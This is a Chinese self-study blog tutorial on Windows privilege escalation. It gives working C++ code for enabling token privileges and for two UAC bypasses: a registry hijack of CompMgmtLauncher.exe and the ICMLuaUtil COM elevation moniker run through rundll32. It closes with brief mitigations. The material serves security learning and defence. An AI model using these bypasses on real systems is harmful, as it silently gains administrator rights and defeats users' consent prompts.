主頁 > 後端開發 > [網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

[網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

2020-09-14 00:27:15 後端開發

這是作者網路安全自學教程系列,主要是關于安全工具和實踐操作的在線筆記,特分享出來與博友們學習,希望您喜歡,一起進步,這篇文章將帶著大家來學習《Windows黑客編程技術詳解》,其作者是甘迪文老師,推薦大家購買來學習,作者將采用實際編程和圖文結合的方式進行分享,并且會進一步補充相關知識點,第六篇文章主要介紹木馬病毒提權技術,包括行程訪問令牌權限提升和Bypass UAC,希望對您有所幫助,

如果把權限看作是門禁卡,那么計算機便是一棟擁有許多門禁的大樓,要想進入一個房間或辦公室,則需要擁有對應房間的門禁卡,對于低權限,即擁有很少數量的門禁卡,能去的也只有廁所之類的無關緊要的地方,無法進入層層設防的保密辦公室,這樣,即使病毒木馬成功混入計算機這所大樓,如果沒有足夠的權限,也不能竊取或修改計算機中的關鍵資料,殺傷力有限,

因此,提權技術(從低權限獲取高權限的技術)成為大多數病毒木馬必備技術,

在這里插入圖片描述

計算機上有哪些操作需要提權呢?作業系統處于安全考慮,對不同的作業系統劃分了權限,例如創建或修改系統服務、修改HKEY_LOCAL_MACHINE注冊表鍵或重啟移動檔案等操作,均需要管理員權限,普通權限操作會失敗,

同時,從VISTA系統引入了UAC(用戶賬戶控制),涉及權限操作時都會有彈窗提示,只有用戶點擊確認后,方可繼續操作,所以,VISTA之后的提權操作主要是針對UAC不彈窗靜默提權,即Bypass UAC,

在這里插入圖片描述

文章目錄

  • 一.行程訪問令牌權限提升
    • 1.函式介紹
    • 2.實作原理
    • 3.編程實作
  • 二.Bypass UAC
    • 1.基于白名單程式的Bypass UAC
    • 2.基于COM組件介面的Bypass UAC
  • 三.總結


作者的github資源:
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp


宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,

前文學習:
[網路安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網路安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透決議及登錄加密入門筆記
[網路安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網路安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網路安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
[網路安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網路安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網路安全自學篇] 八.Web漏洞及埠掃描之Nmap、ThreatScan和DirBuster工具
[網路安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、檔案屬性
[網路安全自學篇] 十.論文之基于機器學習演算法的主機惡意代碼
[網路安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網路安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網路安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及資料流追蹤和影像抓取(二)
[網路安全自學篇] 十四.Python攻防之基礎常識、正則運算式、Web編程和套接字通信(一)
[網路安全自學篇] 十五.Python攻防之多執行緒、C段掃描和資料庫編程(二)
[網路安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
[網路安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網路安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網路安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網路安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網路安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網路安全自學篇] 二十二.Web滲透之網站資訊、域名資訊、埠資訊、敏感資訊及指紋資訊收集
[網路安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
[網路安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
[網路安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令列呼叫
[網路安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求引數設定(一)
[網路安全自學篇] 二十八.檔案上傳漏洞和Caidao入門及防御原理(一)
[網路安全自學篇] 二十九.檔案上傳漏洞和IIS6.0決議漏洞及防御原理(二)
[網路安全自學篇] 三十.檔案上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
[網路安全自學篇] 三十一.檔案上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網路安全自學篇] 三十二.檔案上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網路安全自學篇] 三十三.檔案上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網路安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
[網路安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網路安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟體自啟動劫持
[網路安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
[網路安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網路安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網路安全自學篇] 四十.phpMyAdmin 4.8.1后臺檔案包含漏洞復現及詳解(CVE-2018-12613)
[網路安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網路安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網路安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網路安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網路安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、行程關閉)
[網路安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行檔案簽名復現
[網路安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
[網路安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及黑客常用DOS命令
[網路安全自學篇] 四十九.Procmon軟體基本用法及檔案行程、注冊表查看
[網路安全自學篇] 五十.虛擬機基礎之安裝XP系統、檔案共享、網路快照設定及Wireshark抓取BBS密碼
[網路安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網路安全自學篇] 五十二.Windows漏洞利用之堆疊溢位原理和堆疊保護GS機制
[網路安全自學篇] 五十三.Windows漏洞利用之Metasploit實作堆疊溢位攻擊及反彈shell
[網路安全自學篇] 五十四.Windows漏洞利用之基于SEH例外處理機制的堆疊溢位攻擊及shell提取
[網路安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
[網路安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網路安全自學篇] 五十七.PE檔案逆向之什么是數字簽名及Signtool簽名工具詳解(一)
[網路安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網路安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網路安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
[網路安全自學篇] 六十一.PE檔案逆向之數字簽名詳細決議及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網路安全自學篇] 六十二.PE檔案逆向之PE檔案決議、PE編輯工具使用和PE結構修改(三)
[網路安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網路安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網路安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網路安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網路安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
[網路安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒決議
[網路安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
[網路安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網路安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
[網路安全自學篇] 七十二.逆向分析之OllyDbg動態除錯工具(一)基礎入門及TraceMe案例分析
[網路安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網原始碼詳細解讀
[網路安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網路安全自學篇] 七十五.Vulnhub靶機滲透之bulldog資訊收集和nc反彈shell(三)
[網路安全自學篇] 七十六.逆向分析之OllyDbg動態除錯工具(二)INT3斷點、反除錯、硬體斷點與記憶體斷點
[網路安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網路安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[網路安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、檔案包含、過濾繞過、SQL注入)
[網路安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(檔案上傳漏洞、冰蝎蟻劍、反序列化phar)
[網路安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
[網路安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
[網路安全自學篇] 八十四.《Windows黑客編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
[網路安全自學篇] 八十五.《Windows黑客編程技術詳解》之注入技術詳解(全域鉤子、遠執行緒鉤子、突破Session 0注入、APC注入)
[網路安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
[網路安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
[網路安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
[網路安全自學篇] 八十九.PE檔案決議之通過Python獲取時間戳判斷軟體來源地區
[網路安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
[網路安全自學篇] 九十一.阿里云搭建LNMP環境及實作PHP自定義網站IP訪問 (1)
[網路安全自學篇] 九十二.《Windows黑客編程技術詳解》之病毒啟動技術創建行程API、突破SESSION0隔離、記憶體加載詳解(3)
[網路安全自學篇] 九十三.《Windows黑客編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)


前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包



一.行程訪問令牌權限提升

病毒木馬想要實作一些關鍵的系統操作時,往往要求執行操作的行程擁有足夠的權限,比如,通過呼叫ExitWindows函式實作關機或重啟操作時,它就要求行程要有 SE_SHUTDOWN_NAME 權限,否則會忽視操作不執行,這時,程式能夠做的便是按照要求提升行程群賢,第一部分通過介紹提升行程訪問令牌的權限,

1.函式介紹

(1) OpenProcessToken函式
打開與行程關聯的訪問令牌,

BOOL OpenProcessToken(
	HANDLE ProcessHandle, //要修改訪問權限的行程句柄
	DWORD DesiredAccess,  //訪問掩碼,要對令牌進行何種操作
	PHANDLE TokenHandle   //回傳的訪問令牌指標
)

(2) LookupPrivilegevalue函式
查看系統權限的特權值,回傳資訊到一個LUID結構體,

BOOL LookupPrivilegevalue(
	LPCTSTR lpSystemName,   //指向要獲取特權值的系統名稱
	LPCTSTR lpName,         //特權名稱
	PLUID lpLuid            //指向LUID變數的指標
);

(3) AdjustTokenPrivileges函式
啟用或禁用指定訪問令牌中的權限,在訪問令牌中啟用或禁用權限時需要 TOKEN_ADJUST_PRIVILEGES 訪問,

BOOL AdjustTokenPrivileges(
	HANDLE TokenHandle,         //handle to token
	BOOL DisableAllPrivileges,  //disabling option
	PTOKEN_PRIVILEGES NewState, //privilege information
	DWORD BufferLength,         //size of buffer
	PTOKEN_PRIVILEGES PreviousState, //original state buffer
	PDWORD ReturnLength         //required buffer size
);

其中,操作型別及特權屬性Attributes可以是如下常量:

SE_PRIVILEGE_ENABLED            //使特權有效
SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特權默認有效
SE_PRIVILEGE_REMOVED            //移除該特權
SE_PRIVILEGE_USED_FOR_ACCESS    //取得物件或服務的訪問權


2.實作原理

(1) 使用場景
病毒木馬想要實作一些關鍵的系統操作時,并且行程訪問令牌權限提升的實作步驟較為固定,

(2) 實作流程

  • 打開行程訪問令牌
  • 取得特權的LUID值
  • 調整訪問令牌特權值

首先獲取行程的訪問令牌,然后將訪問令牌的權限修改為指定權限,但是系統內部并不直接識別權限名稱,而是識別LUID值,所以需要根據權限名稱獲取對應的LUID值,之后傳遞給系統,實作行程訪問令牌權限的修改,

(3) 實作步驟

  • 獲取指定行程的訪問令牌,需要獲取權限的令牌句柄為 TOKEN_ADJUST_PRIVILEGES
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

  • 獲取本地系統指定特權名稱的LUID值,LUID值相當于該特權的身份標號
    LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

  • 創建一個新的行程令牌特權結構體 TOKEN_PRIVILEGES,并對其進行賦值,設定新特權的數量、特權對應的LUID值以及特權的屬性狀態
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

  • 呼叫 AdjustTokenPrivileges 函式對行程令牌的特權進行修改
    AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)



3.編程實作

第一步,新建C++空專案,專案名稱為“Tiquan01”,

在這里插入圖片描述

第二步,新建源檔案“main.cpp”,

在這里插入圖片描述

第三步,撰寫代碼獲取當前行程號,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;
	system("PAUSE");
	return 0;
}

輸出結果如下圖所示,可以看到我們的程式Tiquan01.exe行程為18512,

在這里插入圖片描述

第四步,通過子函式實作行程訪問令牌的提升權限,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

/*----------------------------------------------------------------
    函式名:  CPrivilgeEscalationDlg::EnableDebugPrivilege
    回傳型別:  BOOL
    功能: 提升行程訪問令牌權限
    引數1: 需要提升權限的行程句柄
    引數2: 特權名稱
----------------------------------------------------------------*/
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;

	//打開行程令牌并獲取具有 TOKEN_ADJUST_PRIVILEGES 權限的行程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		ShowError("OpenProcessToken");
		return FALSE;
	}
	//獲取本地系統的 pszPrivilegesName 特權的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	//設定提升權限資訊
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	//提升行程令牌訪問權限
	bRet = ::AdjustTokenPrivileges(
		hToken,                  //令牌句柄
		FALSE,                   //是否禁用權限
		&tokenPrivileges,        //新的特權的權限資訊
		0,                       //特權資訊大小
		NULL,                    //用來接收特權資訊當前狀態的buffer
		NULL                     //緩沖區大小
	);
	if (FALSE == bRet) {
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
		//根據錯誤碼判斷是否特權都設定成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;

	//修改當前行程令牌訪問權限
	if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME))
	{
		printf("Enable Privileges Error!\n");
	}
	printf("Enable Privileges OK!\n");

	system("PAUSE");
	return 0;
}

運行結果如下圖所示,注意需要以管理員權限運行,否則會提示相關錯誤,

在這里插入圖片描述

問題:怎么判斷我是否提權成功呢?

同時,編程程序中會遇到各種錯誤,請大家一定實際去撰寫代碼,學會谷歌百度獨立解決, 比如"const char *"型別的實參與“LPCWSTR”型別的形參不兼容,基本的解決方法如下:

  • 配置屬性 -> 常規 -> 字符集 -> 使用多位元組字符集
  • C/C++ -> SDL檢查-> 否
  • C/C++ -> 語言 -> 符合模式 -> 否

在這里插入圖片描述



二.Bypass UAC

UAC(User Account Control)是微軟在Windows VISTA以后版本中引入的一種安全機制,通過UAC,應用程式和任務可始終在非管理員賬戶的安全背景關系中運行,除非特別授予管理員級別的系統訪問權限,UAC可以阻止未授權的應用程式自動進行安裝,并防止無意地更改系統,

在這里插入圖片描述

UAC需要授權的動作包括:配置Windows Update、增加或洗掉用戶賬戶、改變用戶賬戶的型別、改變UAC設定、安裝ActiveX、安裝或移除程式、安裝設備驅動程式、設定家長控制、將檔案移動或復制到Program Files或Windows目錄、查看其他用戶檔案夾等,

觸發UAC時,系統會創建一個consent.exe行程,該行程通過白名單程式和用戶選擇來判斷是否創建管理員權限行程,請求行程將要請求的行程cmdline和行程路徑通過LPC介面傳遞給 appinfo 的 RAiLuanchAdminProcess 函式,流程如下:

  • 該函式首選驗證路徑是否在白名單中
  • 接著將結果傳遞給consent.exe行程
  • 該行程驗證請求行程的簽名以及發起者的權限是否符合要求后,決定是否彈出UAC視窗讓用戶確認
  • UAC視窗會創建新的安全桌面,屏蔽之前的界面,同時UAC視窗行程是系統權限行程,其他普通行程無法和其進行通信互動,用戶確認后,呼叫 CreateProcessAsUser 函式以管理員身份啟動請求的行程

病毒木馬如果想要實作更多的權限操作,那么就不得不繞過UAC彈窗,在沒有通知用戶的情況下,靜默地將程式的普通權限提升為管理員權限,從而使程式可以實作一些需要權限的操作,目前實作Bypass UAC主要有兩種方法:

  • 一種是利用白名單提權機制
  • 一種是利用COM組件介面技術


1.基于白名單程式的Bypass UAC

有些系統程式可以直接獲取管理員權限,而不觸發UAC彈框,這類程式成為白名單程式,例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等,這些白名單程式可以通過DLL劫持、注入或是修改注冊表執行命令的方式啟動目標程式,實作Bypass UAC提權操作,

下面選擇白名單程式 CompMgmtLauncher.exe 進行詳細分析,利用它實作Bypass UAC提權,分析的環境是64位Windows 10作業系統,使用的工具是行程監控器Procmon.exe,

第一步,在System32目錄下運行 CompMgmtLauncher.exe 程式,

在這里插入圖片描述

此時并沒有出現UAC彈窗就直接顯示計算機管理的視窗界面,

在這里插入圖片描述


第二步,使用procmon軟體監控該行程的所有操作,
主要是監控注冊表和檔案的操作,設定行程名為CompMgmtLauncher.exe過濾即可,

在這里插入圖片描述

輸出結果如下圖所示:

在這里插入圖片描述

第三步,分析該行程注冊表操作,
Procmon監控資料分析發現,計算機管理行程會先查詢注冊表中資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

發現該路徑不存在后,繼續查詢注冊表中的資料并讀取,

  • HKCR\mscfile\shell\open\command(Default)

該注冊表路徑中存盤著mmc.exe行程的路徑資訊,如下圖所示,然后,計算機管理程式會根據讀取到的路徑啟動程式,顯示計算機管理的視窗界面,

疑惑:如何通過該軟體定位行程的執行邏輯或操作流程?感覺不是Procmon就能實作的,

在這里插入圖片描述

注冊表中內容對應如下:

  • %SystemRoot%\system32\mmc.exe “%1” %*

在這里插入圖片描述


第四步,手動構造注冊表路徑彈窗cmd命令列程式,
在 CompMgmtLauncher.exe 啟動的程序中,有一個關鍵的操作就是它會先讀取注冊表的資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

我們開系統注冊表編輯器regedit.exe,查看相應路徑下的注冊表,發現該注冊表路徑確實不存在,所以,如果自己構造該注冊路徑,寫入啟動程式的路徑,這樣,CompMgmtLauncher.exe便會啟動該程式,為了驗證這個猜想,自己手動添加該注冊表路徑,并設定默認的資料為C:\Windows\System32\cmd.exe,

在這里插入圖片描述

注冊表修改如下:

在這里插入圖片描述

然后使用Procmon.exe進行監控并運行CompMgmtLauncher.exe,成功彈出cmd.exe命令列視窗,而且提示管理員權限,如下圖所示,注意左上角顯示的是“計算機管理”而不再是“CMD”,

在這里插入圖片描述

查看Procmon.exe的監控資料,CompMgmtLauncher.exe確實直接讀取注冊表路徑中的資料并啟動,


第五步,撰寫代碼實作相關功能,
利用CompMgmtLauncher.exe白名單程式Bypass UAC提權的原理講到這里,接下來撰寫程式創建并添加注冊表,并寫入自定義的程式路徑,

  • HKCU\Software\Classes\mscfile\shell\open\command(Default)

具體Bypass UAC代碼如下,運行計算機管理程式即可完成Bypass UAC提權操作,其中,HKEY_CURRENT_USER是用戶注冊表,程式使用普通權限即可進行修改,

Tiquan02完整代碼

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}

//修改注冊表
BOOL SetReg(char* lpszExePath)
{
	HKEY hKey = NULL;
	//創建項
	::RegCreateKeyEx(HKEY_CURRENT_USER, 
		"Software\\Classes\\mscfile\\Shell\\Open\\Command", 
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);

	if (NULL == hKey) {
		ShowError("RegCreateKeyEx");
		return FALSE;
	}
	//設定鍵值
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	//關閉注冊表
	::RegCloseKey(hKey);
	return TRUE;
}

//主函式
int main(int argc, char* argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;

	// 關閉檔案重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	// 修改注冊表
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	if (bRet) {
		// 運行 CompMgmtLauncher.exe
		system("CompMgmtLauncher.exe");
		printf("Run OK!\n");
	}
	else {
		printf("Run ERROR!\n");
	}

	// 恢復檔案重定位
	::Wow64RevertWow64FsRedirection(OldValue);
	system("pause");
	return 0;
}

輸出結果如下圖所示,360成功識別在劫持程式,點擊允許后及彈出對應的計算機管理CMD,

在這里插入圖片描述

該程式成功利用白名單程式實作了Bypass UAC提權操作,并向注冊表中寫入cmd程式并啟動,其實這也算一種利用白名單的程式劫持,最終效果如下圖所示,

在這里插入圖片描述



2.基于COM組件介面的Bypass UAC

COM提升名稱(COM Elevation Moniker)技術允許運行在用戶帳戶控制(UAC)下的應用程式,以提升權限的方法來激活COM類,最終提升COM介面權限,其中,ICMLuaUtil 介面提供了ShellExec方法來執行命令,創建指定行程,所以,接下來介紹的基于 ICMLuaUtil 介面的Bypass UAC的實作原理,它是利用COM提升名稱來對 ICMLuaUtil 介面提權,提權后通過呼叫ShellExec方法來創建指定行程,實作Bypass UAC操作,

使用權限提升COM類的程式必須調通過用CoCreateInstanceAsAdmin函式來創建COM類,COM提升名稱具體的實作代碼如下:

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;
    // 初始化COM環境
    ::CoInitialize(NULL);
    // 構造字串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }
    // 設定BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    // 創建名稱物件并獲取COM物件
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}

執行上述代碼,即可創建并激活提升權限的COM類,ICMLuaUtil 介面通過上述方法創建后,直接呼叫ShellExec方法創建指定行程,完成Bypass UAC的操作,基于ICMLuaUtil介面Bypass UAC的具體實作代碼如下所示:

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil *CMLuaUtil = NULL;
	BOOL bRet = FALSE;

	do {
		::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
		::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

		// 提權
		hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
		if (FAILED(hr))
		{
			break;
		}

		// 啟動程式
		hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
		if (FAILED(hr))
		{
			break;
		}

		bRet = TRUE;
	}while(FALSE);

	// 釋放
	if (CMLuaUtil) 
	{
		CMLuaUtil->lpVtbl->Release(CMLuaUtil);
	}

	return bRet;
}

要注意的是,如果執行COM提升名稱(COM Elevation Moniker)代碼的程式身份是不可信的,則會觸發UAC彈窗;若可信,則不會觸發UAC彈窗,所以,要想Bypass UAC,則需要想辦法讓這段代碼在Windows的可信程式中運行,其中,可信程式有計算器、記事本、資源管理器、rundll32.exe等,

因此可以通過DLL注入或是劫持等技術,將這段代碼注入到這些可信程式的行程空間中執行,其中,最簡單的莫過于直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼,利用rundll32.exe來呼叫自定義DLL中的匯出函式,匯出函式的引數和回傳值是有特殊規定的,必須是如下形式,

// 匯出函式給rundll32.exe呼叫執行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

將上述Bypass UAC的代碼寫在DLL的專案工程中,同時開發Test控制臺專案工程,負責并將BypassUAC函式匯出給rundll32.exe程式呼叫,完成Bypass UAC作業,

Test代碼如下:

#include "stdafx.h"
#include <Windows.h>


int _tmain(int argc, _TCHAR* argv[])
{
	char szCmdLine[MAX_PATH] = { 0 };
	char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
	char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll";
	::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
	::WinExec(szCmdLine, SW_HIDE);

	printf("Run OK.\n");
	system("pause");
	return 0;
}

在這里插入圖片描述

Bypass UAC啟動的是cmd.exe程式,所以,直接運行Test.exe即可看到cmd.exe命令列視窗,而且視窗標題有管理員字樣,運行結果如下圖所示,

在這里插入圖片描述



三.總結

寫到這里,這篇文章就介紹完畢,希望對您有所幫助,最后進行簡單的總結下,本文講解了行程訪問令牌權限提升和Bypass UAC(白名單和COM組件),其實,Bypass UAC的方法有很多,對于不同的Bypass UAC方法,具體的實作程序不太一樣,需要我們不斷去摸索,同時,隨著作業系統不斷升級更新,Bypass UAC技術可能不再適應(被打補丁),但也會有新的方法出現,大家可以去github上關注UACME開源專案,

最后補充防止Bypass UAC的方法:

  • 不要給普通用戶設定管理員權限
  • 在“更改用戶賬戶控制設定”中,將用戶賬戶控制(UAC)設定為“始終通知”

注意,不要覺得這些技術代碼實作容易就簡單,很多木馬、病毒、APT攻擊都用到了它們,不要小瞧任何一個技術,只有把這些技術組合起來威脅更大,同樣,作為反病毒或安全分析人員,我們需要了解各種技術,只有知道怎么攻擊和原理才能更好地防守,

